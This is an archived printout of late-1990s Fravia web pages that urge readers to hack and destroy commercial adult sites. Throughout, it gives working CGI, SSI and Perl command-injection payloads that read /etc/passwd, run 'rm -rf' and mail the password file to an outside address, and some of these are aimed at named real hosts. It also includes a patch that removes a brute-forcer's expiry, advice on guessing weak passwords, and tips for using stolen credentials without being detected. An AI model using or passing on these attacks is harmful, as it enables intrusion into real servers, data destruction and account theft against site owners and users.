by sepulcrum of revolution, 26 May 1999
A little java code for you, ssir!

Coasting Along On A Wave


by +Sandman, 26 May 1999

http://www.instinct.org/fravia/javascri.htm (4 of 5) [2/7/2001 3:02:34 PM]


javascri.htm Fravia explaining easy Javascript password systems

(on the "devious" javascript page)

Protection schemes: How to encrypt with Javascript


by fravia+, 30 May 1999
(on the new "hyperprotections" javascript page)

Protection schemes: User input and javascript


by fravia+, 30 May 1999
(on the new "hyperprotections" javascript page)

Protections schemes: Printing directly to frames without a CGI


by fravia+, 30 May 1999
(on the new "hyperprotections" javascript page)

homepage links search engines +ORC students' essays academy database


tools cocktails bots wars anonimity academy antismut CGI-scripts
counter measures mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/javascri.htm (5 of 5) [2/7/2001 3:02:34 PM]


javpassp.htm Fravia explaining easy Javascript password systems

MOVE THE FORM AROUND TO READ


THIS PAGE
ENTRANCE TO FRAVIA'S ADVANCED JAVASCRIPT PAGE

As you can see, on this page you have a typical Javascript access form where you'll have to enter a
password (duh) which will give you access to the advanced javascript page. Since the NAME of the
advanced javascript page is directly related to the password, all failure will bring you back to my main
page. Of course this IS NOT a real web protection scheme, since such 'cheap' tricks are relatively easy to
circumvene, at least if you understand (or learn now) a little the javascript language and if you have at
least a little cracker's stoff...
Nevertheless I hope that this page will help me to make my point (in fact my didactical 'leit-motiv'):
lamers should not and will not understand what's going on, yet the ones capable to study and to
experiment a little, will not only go further on, but will also be able to use this same kind of trick
(implementing and ameliorating it of course) in order to protect some 'delicate' parts of their sites... a
nice present by fravia+ to anyone reading this, I believe... lets' hope that you'll at least give me some
credit
(I deserve only in part, since I have ripped part of the javascript code off a commercial smut site that I
have busted (see my antismut pages if you want to learn the basic of site-nuking) and since I am NOT a
nice guy when it comes to commercial smut sites, I will not give recognition to those bastards for the
(parts) of the Javascript code I have ripped off... OK, you have 4 tryes to land on my advanced javascript
pages... see you there.
(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/javpassp.htm [2/7/2001 3:02:37 PM]


ideale.htm: fravia's "Crackers against commercial smut" section

Smut sites busting


A "Crackers
N against
commercial
T fravia's smut"
I antismut (Fravia explains elementary
CGI-tricks)
S pages updated
~
A general approach
October

M 1999 combing
source checking

U cgi reverse engineering: one


cgi reverse engineering: two
Server exploits: one
T Fravia's Nofrill
Web design
(1998) Server exploits: Essays
How to allow any luser to access
any commercial smut site for free :-)
restricted access: one

Background information (and


essays)
Hacking wwwhack

Fravia's antismut page


is alive and kicking!
~
The reasons of our attempt to stop the proliferation of the commercial smut sites on the web are explained elsewhere (see
for instance the general page), this is all quite difficult (and contested) stuff, please bear with us, keep cool and, foremost,
SEND MORE CONTRIBUTIONS!

http://www.instinct.org/fravia/ideale.htm (1 of 4) [2/7/2001 3:02:44 PM]


ideale.htm: fravia's "Crackers against commercial smut" section

A small digression: stalking


Of course all the stuff on my "enemy stalking" pages can be 1) General stalking techniques
VERY USEFUL for this section as well. You may find it quite 1.1) Simple email stalking techniques
interesting to better understand which tools and techniques you 2) Reversing language patterns
can use to individuate the culprits... on the right side you go... 3) Luring and social engineering tricks

And now let's begin!


CGI-script reverse engineering and related activities

~
A general approach to Web sites nuking
How to comb the web
How to find "crumbs" of information inside the source code of web pages
How to exploit the weak CGI-script and PERL programs used by the Smut dealers
How to make a smut site go Ka-Boom!

~
(this is the stuff you wanted to read and never found on the web)

Crackers against commercial smut


A general approach commercial smut sites bombing (Why and how to annoy them)
i.e. how to find the "commercial smut"
combing (how to identify the weak ones)
sites

source checking How to exploit 'crumb trails' inside a (forgotten snippets of information
page inside counters and images)
How to exploit weak CGI-script and
(How to nuke a page against the will
cgi reverse engineering: one PERL programs used by the Smut
of its owner)
dealers
How to exploit CGI-script, server side (How to see a smut site going
cgi reverse engineering: two
includes and perl ticks Ka-boom! under your very eyes)
(How to fish scripts or programs that
Server exploits: one How to exploit Micro$oft's IIS bugs
should have been hidden)
How to exploit weak sites with your (Some interesting logs and
Server exploits: Rudicarell's
browser redirecting tricks)
How to allow any luser to access any (Some interesting proxy info for
How to seriously annoy smut sites...
commercial smut site for free :-) lusers)
restricted access: one Some apostrophe + boolean value tricks (Advanced perl-sites nuking)

http://www.instinct.org/fravia/ideale.htm (2 of 4) [2/7/2001 3:02:44 PM]


ideale.htm: fravia's "Crackers against commercial smut" section

Crackers against commercial smut


Some background information
Read An October attack against my "anti-commercial smut" campaign
by fravia+, October 1997

Read A polite conversation between a commercial smutsite nuker and a commercial smutsite owner
by fravia+, May 1998

Read sortof's hacking attack against the index page of my new fortress
by fravia+, October 1999

Read .sozni's fundamental essay: The Art of Guessing


by .sozni, October 1999

Hacking wwwhack
(And a small digression about passwords)

If you are interested in site-access techniques, you may download here a simple 'bruteforcer' that you may use for ALL sites
that have HTTP basic authentication. (that's when you try to get to a site and your BROWSER, not an HTML form, asks
you for the password).
Download wwwhack, a very simple, yet effective, password busting program, quite useful to gain user access and study
the directory structure of your commercial smut targets... wwhack, keeps TRACK of the sites you gained access into in a
file called sites.dat and stores its passwords inside a file called password.txt. wwwhack is a 'best before protection' (at least
in this version), which expired on 19 June. Of course this doesn't matter much for reversers, here you go...

:03723 83781005 cmp dword ptr [eax+10], 5


:03727 7F0C jg 00403735 ;; You may want to change this to 7F3F = jg
00403768
:03729 83781005 cmp dword ptr [eax+10], 5
:0372D 7539 jne 00403768
:0372F 83780C14 cmp dword ptr [eax+0C], 14
:03733 7E33 jle 00403768

* Referenced by a Jump at Address:00403727(C)


:03735 8B5371 mov edx, dword ptr [ebx+71]
:03738 8B4204 mov eax, dword ptr [edx+04]
:0373B 6A00 push 0
:0373D 6A00 push 0
:0373F 68A5FC4200 push 0042FCA5 ;; ->"This copy of wwwhack expired on June 19."
Redirecting the jump (do not just nop the 7F0C, it won't work :-) will make wwwhack work whenever you want, yet as I
said, this is just a very crude program, valid only for username/password combinations where BOTH strings are identical.
You may of course slightly modify wwwhack code in order to try DIFFERENT STRINGS during your busting approaches,
this requires a small patch. (It's incredible how many sites you can bust with the simple wwhack 'same strings' approach,
though)
This said, wwhack is only a very primitive tool: in order to gain root and nuke some of the smut sites, as you probably
know, you'll want to try also a very old trick: play with finger and with port 79 and 80... telnet your.commercial.target 80,
for instance... but you'll learn far better tricks either on both my "CGI-wars" public pages one and two or following what

http://www.instinct.org/fravia/ideale.htm (3 of 4) [2/7/2001 3:02:44 PM]


ideale.htm: fravia's "Crackers against commercial smut" section

you you'll read in my Simple email stalking techniques essay

a small digression about passwords


Wish I had a cent for all the password I found out! As any hacker knows, the best password attack is NOT a brute force
attack, but rather a 'stupidity based' attack. See, there are SO MANY passwords you must learn (at work to enter your
Intranet, Internet, resume work, etc. at home to enter the web, free email, special sites, telnet, etc.), that 99 humans out of
100 will REUSE the same passwords more than once and will USE SIMPLE passwords most of the time. +ORC (a
notorious paranoid), wrote me once that one of his "older" passwords was
TheEarthWillRiseAgainOutOfTheWaterFairAndGreen (which is Unix case-sensitive) and that he did not use that sort of
"simple" passwords anymore (and went over to his "anglo-latin" passwords) because he found them to be too easy to guess!
As you'll soon notice using for instance the simple wwwhack program above, there are MANY that use as username fred
and as password fred (have a look at the letters f,r,e and d on your keyboard and you'll understand why). I found
HUNDRED of usernames: username and passwords: password, believe it or not...
There are also, very frequently, "site-related" passwords: if you want to access the financial times database, you shold start
with financial and times, and it would probably work. The 'solution' to this problem is of course even easier to hack: if the
site-protection gives passwords depending on an algorithmus (and few smut sites do this, because lusers want easy to
remember passwords), just reverse the algo and you'r done.

Where to find passwords

Don't be silly: the vast majority of sites advertising free passwords to porn sites are actually smut sites themselves, luring
traffic through deceptive advertising. There is at the moment a frantic battle for traffic on the smut sites (see my polite
conversation between a commercial smutsite nuker and a commercial smutsite owner), smut sites that attracted their traffic
pretending to offer 'free' pictures and videos are now increasingly offering 'free' passwords as well. These 'passwords' come
directly from the smut sites that are purportedly being violated. The smut sites can pay to the pasword sites a FEE to feature
ostensibly faked passwords. The 'pasword' sites sell advertising banner space to the smut sites and list paid-for faked
passwords first (mostly the user will land in a banner-clicking nightmare in those cases). In my experience, four password
sites out of five are in cahoots with the smut sites (that is a good reason to nuke some of them as well :-)
Unsurprisingly, providing password defenses has become a booming industry... the problem is that these 'defenses' are most
of the time very easy to circumvent (see my CGI-reversing and my javascript advanced pages). There are at the moment
more than 100 (yes, one hundred) companies offering verification services for commercial smut sites. Fortunately there's
not a single one of them that cannot be cracked. Most of these services automatically cancel passwords if they are being
used by two people at the same time or if they are originating from different web addresses over a given period of time.
Since the passwords you will discover using the tricks explained here ARE NOT PUBLIC (because YOU will discover
them on your own), once you check which ones belong to a common used dynamic IP provider (AOL, compuserve, Infonie,
whatever), you'r pretty sure that nobody will ever notice it unless you'r shooting in the same timerange as your turkey (the
lamer you have taken the password). Just choose an amerloque turkey if you'r european or an european turkey if you'r
amerloque and that's all :)

Back to Fravia's main site


homepage +ORC anonimity counter measures tools how to search javascript wars
reality cracking bots' wars students' essays cocktails search_forms mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/ideale.htm (4 of 4) [2/7/2001 3:02:44 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

Crackers against Smut

Why should we fight against Smut


sites? Are we censors?
~
(A general approach to smut site bombing)
~
By fravia+, Updated May 1998
~

Why should we fight against Smut sites? Are we censors?

We are not censors, and we have nothing whatsoever against nude images (if
given away for free), yet we have to wage battle against commercial smut sites
for many pretty sound reasons. Here the main ones:

Because commercial smut sites are swamping the whole Web. They have swamped, for
instance, the server where my main page was hosted to a point that made impossible
for me to remain there. This swamping may seem strange, since there is NO REASON
whatsoever to use or peruse such commercial smut sites.
As anyone that visit these pages of mine knows, if you have learned how to search
the web there is NOTHING... absolutely nothing that you will not find on the web.
Any application you can think of, any image that has ever been taken or made, any
BOOK that has been written dwells somewhere inside a server on our planet, ready
to be downloaded by you for free.
In such a situation selling "commercially" what is already free is only a
fraud, where 'copyrights' laws are used as fig leaves to cover strong commercial
interests, where all tricks are displayed to deny knowledge for the poors and
the simple ones, all frills and 'push' activities are fostered heavily in order
to keep under their consumistic chains and whips those still unaware of what's
going on, gullible believers in a society where money -and not knowledge- means
power (why?).

Yet this nether world of ours shows a NEW reality: inter alia you can get at, and
download, all the knowledge (and horrors) of the human race. That is, you can, once
you have found them.
The problem and the difficulty is to understand where exactly -and under which
name that what you seek has been stored.
This is fairly easy endeavour, though, (see my search engines and my
how to search pages), yet many poor suckers
and lusers simply don't know it, and have -for instance- to pay in order to
get their daily smut ration... don't laugh at them! Imagine you are a frustrated
young man, somewhere in Saudi Arabia, with a web access and enough money and yet
no naked women images (nor many naked real women nor Wodka-Martinis for that matter
:-)
nowhere in a range of 1000 kilometers... you would probably fall for it as well...

http://www.instinct.org/fravia/general.htm (1 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

Since, as you know, on the Web there is NO law, crackers are among the few that can
try to put an end to any activity that they don't like. We decide alone what we allow
and what we forbid, since we HAVE (and spread) real knowledge... the only real
"power"
in our worlds of bytes and codes, where commercial minds stamp about blinded by
money... and where we can destroy them, and stamp them out, as I will teach you.

You'll begin to see here how we can attack, and you may decide to join and help (or
even criticize and help... you are not compelled to agree with our course of action,
of course).

The proliferation of these commercial sites is independent of their (mostly poor)


contents, independent from the fact that they are offering images that you could
have for free, since the people that fall for it DO NOT KNOW that, independent
from all moralisation campaigns that, as usual in this awful society, always stop
short of attacking the "holy" commercial activities...
this swamping is simply a consequence of the inner working of these sites,
which you must understand in order to defeat them, and that I will try to summarize
here:

Let's see how a "classical" commercial smut works:

THE WORKING OF A CLASSICAL COMMERCIAL SMUT SITE


1) You steal a great number of bad scanned smut images from the newsgroups
(where
anybody could get them for free, of course, but that's not the point for
you).
2) You get an Internic name like xxxsmuttfickxxx.com for 100 US dollars (you are
already a server provider yourself, or you find one for next to nothing)
3) You buy some bad-written cgi-scripts to get a paied access to your smut
offerings.
4) You realise that almost nobody comes
5) You spam every usenet group you can get your hands on in order to get some
idiot to visit your site paying you some money
6) You realise that almost nobody comes
7) You prepare a real ugly smut image as "banner-ad" and exchange it with one
hundred other smut sites, hoping that the small park of frustrated rich
idiots
that roam these sites (and pay for them) will give you some dollars too.
8) You realise that almost nobody comes
9) You specialise in nastier and nastier smut images ("lolitas swallowing
horses"
"pregnant teenagers tortured by lorry drivers" or whatever)
10) You swamp whole servers with the same poor images yet with twenty differently
named "entrances" to them.
11) You spam and spam and spam and swamp and swamp and swamp
12) You realise that most people that seek this kind of images still prefer to
get
them for free
13) You write the word "free" everywhere in your commercial smut site hoping to
get somehow inside the search engines listings for free smut images.
14) You eventually scrap your couple of bucks from your dirty floor and swallow
them.

http://www.instinct.org/fravia/general.htm (2 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

WHAT CAN WE DO AGAINST THEM?


Well, there are some possible line of actions (I hope you'll send me more
ideas on this):

1) Nuke the sites

This is far from easy, and you need some particulat conditions to
be able to do it, yet it is great fun. You'll get some hints and
some simple tricks on my cgi reverse engineering pages one and two.

Basically you just write something like


#exec cmd="chmod 666 /etc/passwd"
for SSI servers
or add something like the following to the http://www.yoursmuttarget.com
com/cgi-bin/test-cgi?*
com/cgi-bin/nph-test-cgi?/*
com/cgi-bin/nph-test-cgi?etc/*
or add to your target URL
%0a/bin/ls%20-la%20/usr/src/include
or submit a tag like the following one:
<!--#exec cmd="/bin/rm -rf /"-->
or if the perl.executable is there run it with this URL:
http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B
and nuke the smut site for a while :-)
And all this is just to SEE if you can play a little with them (a real
"complete" attack is of course a little more complicated).
VISIT MY cgi reverse engineering PAGE ONE
VISIT MY cgi reverse engineering PAGE TWO

2) Find and explore the sites


You can easily explore these sites 'jumping' over their password verification
applets or scripts.
1) Download applets or scripts
2) Crack them
3) Enter
4) Find a weak point
5) destroy
These 'alien site exploring' techniques will be explained in december on this
page.
To find:
VISIT MY how to comb smut sites PAGE
VISIT MY combing and klebing techniques PAGE
To explore:
VISIT MY alien site exploring page (RESTRICTED ACCESS)

Don't forget that you can enter through FALSE passwords. There are in the
warez
scene hundred of sites that offer 'capered' passwords for commercial smut
sites.
One of the rare case where I'm fully favourable to the warez kids. Million of

http://www.instinct.org/fravia/general.htm (3 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

frustrated smut-seekers use these free passwords in order to gain access to


the
smut sites WITHOUT paying them. This is IMO very good because this does not
only
damage the smut sites... in fact most of these simpletons realise in this way
very
soon, how bogus all these commercial smut sites are and won't in their life
never
come to the idea of paying for access again.

The Commercial smut sites react against password capering with automated
scripts that
deconnect all accounts used by two persons on the same time. Yet web
server-user
notifications protocols are so unreliable that most of the time they just
don't dare
doing it really, and simply use a completely useless warning, because there
are
much too many dynamic IDs, and their real terror is to scare off one of the
few
gullible correct users they have got. So if you get a scarecrow message
visiting
with a capered password, just reload once more until it disappears.

You can also of enter using gathered 'crumbs' that you'll find on the source
html script of the page. Useful crumb gathering is also possible through
right
clicking on any logo or image and carefully watching and registering the URL
call sequence inside your "location" browser's window.
VISIT MY source checking PAGE

3) Study the friends of your enemies


Many commercial smut sites resort to 'commercial smut verificators', which
pay them
'per visit' and take care of the whole verification routines. While this
offers a
better security on one site (the cgi-scripts protections are tougher), this
means
also that once you have cracked one of these schemes you have cracked all of
them.
My best attack (until now) could bust one of these verification schemes for
two
complete days. The suckers that paid for it left it in droves and it never
regained
its momentum.
I will teach you the weaknesses of these commercial verification schemes.
VISIT MY commercial smut verificators page (RESTRICTED ACCESS)

4) Beat them at their own game: demonstrate that they are utterly useless
There is practically not a single image on the commercial smut sides that
you could not have for free if you cared to. Yet, instead of leaving these
images where only determined people could find them (and why not, if they
want to see them, please go ahead), the commercial smut sites throw all
these images everywhere on the web, making it dead easy, even for childrens,
to get at them even if they ARE NOT really seeking them (and since I have

http://www.instinct.org/fravia/general.htm (4 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

three kids, I know what I am saying... if you want to have a look for
yourself
at what kind of smut you can get without any filter whatsoever, connect for
instance to http://www.bondage.com).

This is a consequence of the awful society where we live, and where


everything
is measured only through its 'commercial' value, even people and bodies, yet
there is no reason for us to accept this. Since nuking the commercial smut
sites is great fun but does not seem to bring us nowhere (there are simply
too many of them), I am considering writing simple robots that "dig out" for
free all smut images and publish (and update) these links automatically on
the usenet relevant groups where the suckers that PAY the commercial smut
sites roam. This should damage all commercial smut sites where it really
hurts: on their commercial site :-)

So a good counter-offensive could be to publish on the relevant usenet


groups (say once every week, automatically):
1) either a list of all password capering sites;
2) or a list of all the many really free smut sites (which exist but
are fairly difficult to find due to the fraudulent proliferation of
the adjective 'free' inside the commercial smut sites);
3) or a list of all the hidden links inside the main smut sites;
4) or some cracking tutorials for the PASSWORD ASKING AND CHECKING
applets;
5) or some easy robots that would allow any luser to gather whatever
images he (thinks he) needs.
I believe that sending all these info to every warez sites (which are all
concurring against another -for bucks- as well, and would tehrefore
immediatly
publish everything you feed them, just in order to gain some more hits :-)
would
inflict a more lasting damage to the whole commercial smut scene.

Since the commercial smut sites cannot afford to change continuously the
whole subdirectory naming structure, the publishing of the hidden links and
subdirectories structure could be even more effective that the simple
publishing
of the passwords or the occasional nuking of a couple of exposed site.

We will examine (in december) how exactly a userid/password script works, and
how it 'decides' if the user should gain access to the site or not. There
are now some new censorship applications that check THE (rosa) PIXELS of the
images in order to allow or forbid to 'corporate prisoners' to see them (see
my corporate survival page in order to defeat them).
We will therefore reverse their algorithms in order to
FIND where the images have been hidden inside any smut server. Such a little
robot application can then be given around for free... smut seekers will get
for free their smut-dope automagically brought home and commercial smut sites
will fail miserably as they deserve... hey! this can be very useful against
commercial advertisement sites as well, come to think of it :-)

Another very interesting new sector is PASSWORD CAPERING. Let's have a closer
look at the passwords and userids used by the commercial sites (not only smut
sites btw). You'll soon realise that they are divided in TWO main categories:

http://www.instinct.org/fravia/general.htm (5 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

user-chosen and automatically generated.


Both are very weak, as we know:
user chosen passwords are repetitive:
fred/fred (look at the letters "fred" on your keyboard)
1111/1111
1234/1234
pamela/pamela
userid/password (ofter that you would think)
That's the reason some commercial site 'assign' you a password:
REDD12JH31/444JAH12@1
99981-2312/RRAE112-43
And as all crackers know, there is nothing easier than crack the algorithms
that assign valid passwords in this way once you download the applets or, even
more simply, have just a (cracker :-) look at a dozen valid passwords taken from
the many password warez sites.
VISIT MY password busting page (RESTRICTED ACCESS)

Please send me your hints and contributions for this section.


MAny pages, as you have seen are 'restricted access'
because I'm fed up with people just leeching and never contributing to my site.
As you'll be able to see on my new bot wars page, I have
decided to put part of the advanced knowledge in some restricted areas
of my site, you'll be able to find quite a lot in the public part, but if
you want more advanced stuff you'll have to contribute with your own
knowledge.

It is clear that this project will only survive and thrive if there will be
more and more essays from ALL OF YOU and if you will find and send me other
-even better- tricks in order to commercial ruin (or at least to seriously annoy)
all those bastards that run the commercial smut sites.

We have done a lot already (see the October attack story), yet we have
a lot more to do in order to clean the web from commercial bastards... and not only
regarding smut images...

Some lusers believe that money and sex are the two only things that count in life,
and
that 'combining' the two, they have found an easy way to scrap some easy bucks. Let's
show them that in our world money does not mean anything at all and that even if sex
would really have something to do with some poor quality smut photographical images,
which I doubt, that too can be gathered on the web for free, like everything else.

I hope you understand now WHY I want to bust commercial sites (apart from the
'intrinsecal'
fun in busting web sites :-) and WHY this has nothing to do with any censorship
attitude of
mine: I am a cracker: I want a free web for all.

(c) fravia+ May 1997

Good luck, good hunt!

http://www.instinct.org/fravia/general.htm (6 of 7) [2/7/2001 3:02:50 PM]


general.htm: Why should we fight against Smut sites? Are we censors?

And if you are interested, here is a small e-mail exchange of your +truly with a smut site (polite) owner.
And if you are interested, here is a very simple password busting program

Crackers against Smut


Antismut main page
combing i.e. how to find the "commercial smut" sites
source checking i.e. how to exploit their intrinsic weaknesses
cgi-script one CGI-tricks, page one
cgi-script two CGI-tricks, page two

Back to Fravia's main site


homepage +ORC anonimity counter measures tools stalking enslavement
students' essays bots' wars cocktails search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/general.htm (7 of 7) [2/7/2001 3:02:50 PM]


ideale3

Crackers against Smut

Fravia's CGI-script
reversing
page ONE
(CGI-script reverse engineering)
~
(How to exploit weak CGI-script and PERL programs used by the Smut dealers)
(How to nuke a page against the will of its owner)

~
By Fravia+, Updated 27 November 1997
Page severely under construction... SEND MORE CONTRIBUTIONS!

What is CGI-script reverse engineering?


Well, if we want to crack the smut dealers, we must first understand a little how their gateways work... so first
of all you must understand what are gateways... in fact there is quite a lot you should understand before waging
this battle... let's begin!
Remember that you can use gateways running on Internet, install gateways that have been developed by others
or develop your own.
The CGI is the mechanism for communicating between your gateway and your Web server.
Let's be clear on this: When the user enters text on a form, or in response to an ISINDEX query, and hits the
return key, the Web browser sends keystrokes captured from the user to the httpd server.
When an HTML document contains an ISINDEX tag, the browser displays an input box with the phrase:

This is a searchable index. Enter search keywords: type-input-here


Here you have an example of it:
This does NOT mean that your HTML document is automatically a searchable index. The ISINDEX tag just
captures user keystrokes and sends those keystrokes to a gateway using the GET method. The GATEWAY
performs the actual search. If the gateway does not exist, placing the ISINDEX tag in the HTML document will
not make it exist, altough it will look to the user as though it exists. The user can certainly key in a search
string. But when the return key is hit, no search will occur. Try it on the ISINDEX window above.Now.
Nothing happens: to have your Web server perform search functions you must develop or set up a gateway to
perform the search.
The htppd server accepts the input, which will come through a FORM or an ISINDEX tag, starts up the gateway
and hands the input to the gateway via the CGI.

http://www.instinct.org/fravia/ideale3.htm (1 of 7) [2/7/2001 3:02:55 PM]


ideale3

The user's keystrokes are passed to the gateway either via environment variables (called the GET method) or
using standard input (called the POST method). The gateway then passes the input and process it. It may
generate HTML output, which is returned to the httpd server to pass to the client, or it may save data in a file or
database or send email to someone.

The gateway itself can be a script or program, written in C/C++, Perl, tcl, the C Shell or the Bourne Shell.
Each language has its own strengths as a gateway language.

CGI gateways that generate HTML output are required to preface the HTML output to stdout with the following
line:

Content-type: text/html
This line must be followed by a blank line before the first <HTML> tag is sent.

The gateway does not have to generate HTML. It could return the URL of another file, indicating to the browser
that it should get that file. This is called URL redirection. In fact this is the most commonly used method that the
commercial smut-dealers use to pass some specific images to the user
CGI gateways using URL redirection write the following line to stdout:< br>

Location: URL
This line, too, must be followed by a blank line before the stdout data stream terminates.

Passing parameters to CGI scripts by appending them to the URL is referred to as the GET method. CGI scripts
written to use the GET method must explicitly read the QUERY_STRING variable to get and then parse the
query. The GET method is usually used to invoke a simple CGI script with a single parameter.

For example, to pass your name (Fravia of TheHCU) to the test-cgi gateway, located in cgi-bin, you would
open the following URL:

http://hostname/cgi-bin/test-cgi?Fravia+of+TheHCU
The incoming parameter is appended to the base URL after the ? character, with blanks replaced by the +
character. The parameter is set as an environment variable called QUERY_STRING, but is not passed to
test-cgi as a command line option, or in standard input. The HTML output returned from this URL would be
(since test-cgi describes how the httpd server is configured and what information is being passed generically to
all CGI scripts, more or less the following:

CGI/1.0 test script report:

argc is 3. Argv is Fravia of TheHCU

SERVER_SOFTWARE = NCSA/1.3
SERVER_NAME = hostname
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,

http://www.instinct.org/fravia/ideale3.htm (2 of 7) [2/7/2001 3:02:55 PM]


ideale3

text/x-html, text/html, image/*, application/postscript, video/mpeg,


audio/basic, audio/x-aiff, image/gif, image/Jpeg, image/tiff,
...
...
text/richtext, text/tab-separated-values, text/x-setext, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = Fravia+of+TheHCU
REMOTE_HOST = xxx.xxx.xxx
REMOTE_ADDR = xxx.xxx.xxx.xxx
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
All of the capitalized variable names (like SERVER_NAME) are environment variables that are set by the CGI.
These are available to be used by your gateway. As you have seen, parameters can be passed to a gateway by
appending them to the URL using the following scheme:

URL?first+second+third

That was it for the GET method.


Alternatively, parameters can be passed to CGI scripts using standard input, this is called the POST method. It
is used when there is a large amount of information that would be awqward to append to the end of the URL (as
with the GET method) or when the parameters need to be encoded. Most of the advanced work on secure
transactions on the net is focused on secure encoding techniques for the POST method.

When using the POST method, two parameters, for a user's name and email address, might look like:

NAME=Fravia+of+TheHCU&EMAIL=msre@chez.com
The CGI script would then parse the two parameters as:

NAME Fravia of TheHCU


EMAIL msre@chez.com
The & character separates the parameter pairs and the = character separates each parameter name from his
value. The + character is used again as a substitute for blanks. The Perl CGI library contains code to parse
standard input to load an associative array for processing.

If the CGI-scripts are not carefully written the server can have problems: anytime it captures user keystrokes,
those keystroke could be malicious. Attacking a Web server usually consist in embedding shell metacharacters
inside our input, seeking the execution of arbitrary commands on the system that runs the gateway, a danger
particularly common, with older CGI gateways written in the Bourne or C Shell, in Perl or in any language
where an interpreter can execute commands external to the gateway.

Rather than trapping "problem" metacharacters, the CGI scripts use simply a regular expression to check for
legal keystrokes:

http://www.instinct.org/fravia/ideale3.htm (3 of 7) [2/7/2001 3:02:55 PM]


ideale3

[a-zA-Z0-9_-+ \t\/@%]
(There is a blank space after the + sign)

Now starts the really interesting part :-)


The "newline" char is often allowed (%0a), and you can use it to execute commands that are DIFFERENT from
the commands that the script awaits, you can therefore add a field to a URL to execute functions that are
outside the script, for example the following URL asks from the server a copy of /etc/passwd:

http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd

The characters ASCII "0a" and "20" are respectively a newline and a space.

Form processing
Forms are a natural progression from simple queries and are officially part of HTML version 3.0.
Here you have an example:
Please send us your comments!

Name:

Email:

Send Comments Clear Form

Each INPUT tag has a variable name associated. The CGI scripts filter the contents of the field INPUT, if they
don't you have a similar situation ro the previous one, and your data are directly passed to the interpreter.

Another used HTML tag is the SELECT tag, that allows to the user on the client machine to select between a
number of options. This selection gives also a value to a specified variable.
The CGI-scripts usually DO NOT check this value, assuming that there is only a predefined number of choices,
and these values go directly to the interpreter for interpreted languages.
A typical sendmail attack is made using the characters "~!", on vulnerable systems.
If there is a CGI-script with a call to the UNIX system with only ONE argument, you can attack that system,
because the system in that case forks a shell in order to allow the request, for instance the following PERL
script:

system("/usr/bin/sendmail -t %s < %s", $address_to_email < $file_entered


has been designed to email a copy of file_entered to the email address address_to_email. Since the script calls
system with only one argument, this program runs a separated shell, apt to be forked.

http://www.instinct.org/fravia/ideale3.htm (4 of 7) [2/7/2001 3:02:55 PM]


ideale3

Now copy and MODIFY the same data:

<INPUT TYPE="HIDDEN" NAME="address_to_email" VALUE="address@server.com;mail


cracker@his.address </etc/passwd">
You get it? In this way you can get the file /etc/passwd of that server

The function system() is not the only command to fork a new shell. The function exec(), with only one argument
allows the same attacks. Opening a file and piping its result opens also a separate shell. In PERL the function :

open(FILE, "| program_name $ARGS")


opens a FILE and pipes its contents with program_name, which will be executed as separated shell.

The PERL command "eval" executes any argument you pass. The CGI-script that pass user data to the
command eval can be used to execute ANYTHING that the user wishes, on the smut dealers sites I would
suggest, first to check if the "" passed to the interpreter are accepted

$_ = $VALUE; s/"/\\" /g $RESULT = eval qq/"$_"/;

And then destroy the smut dealer server with VALUE containing

"rm -rf *"

CGI-script are READABLE, and you can copy them, modify them or substitute them.
PERL scripts containing include lines like the following:

require "cgi-lib"
Include the cgi-lib library. If the file permissions are not correct, the script IS vulnerable! You may want to
verify the permission adding to the URL of a cgi-script (using the method GET) following characters:

"%0a/bin/ls%20-la%20/usr/src/include

If you copy, modify and substitute the library, you will be able to execute commands or routines from inside the
library file.

The PERL interpreter dwells mostly in usr/bin. If it has been run as SETSUID root, you may modify the file
permissions with a direct command to the system:

$_ = "chmod 666\/etc\/passwd" $RESULT = eval qq/"$_"/;

And now the passwd file can be accessed by everybody.

Finally there is an extension that some http server allow: the SSI (Server Side Include). Most SSI have been
disabled, but there are still many out there. The syntax is:

!-- #command variable="value" --

http://www.instinct.org/fravia/ideale3.htm (5 of 7) [2/7/2001 3:02:55 PM]


ideale3

If the script does not filter the input, you may write:

!-- #exec cmd="chmod 666 /etc/passwd" --

"exec cmd" then runs a shell and executes the command you wrote between "", in this case chmod. Obviously as
soon as you gain etc/passwd you can lame the site of the Smut dealer, or even better, 'seed' therein hundred
concealed 'entrances' for later eaiser busting :-)

Where are located the CGI-scripts?


CGI scripts can be placed in THREE locations, the main cgi-bin subdirectory, alternative, cgi-bin
subdirectories (that have been established with the ScriptAlias directive) AND in users' personal HTML
subdirectories.
Web server administrators police very seldom all these areas, mostly (if they do it) they limit themselves to
check that the Options directive, used to protect users' personal HTML directories is not set to All or ExecCGI.
On the other hand, if they don't trust a SPECIFIC user, they usually specify the Options directive in access.conf
to be used server-wide and then use

AllowOverride None
Here are, courtesy of +gthorne, some nice 'starter' tricks you may want to use to UNDERSTAND how all this
work and how frequently Web servers allow you more access than it you would believe (PLEASE, do not
destroy yet vrysex.com, I need it alive for teaching purposes):

http://www.vrysex.com/cgi-bin/nph-test-cgi?*
(This gives information even if not available :-)

http://www.vrysex.com/cgi-bin/test-cgi?*
http://www.vrysex.com/cgi-bin/nph-test-cgi?/*
http://www.vrysex.com/cgi-bin/nph-test-cgi?etc/*
Remeber also that the standard Web account (the default user ID) is called

Username: nobody

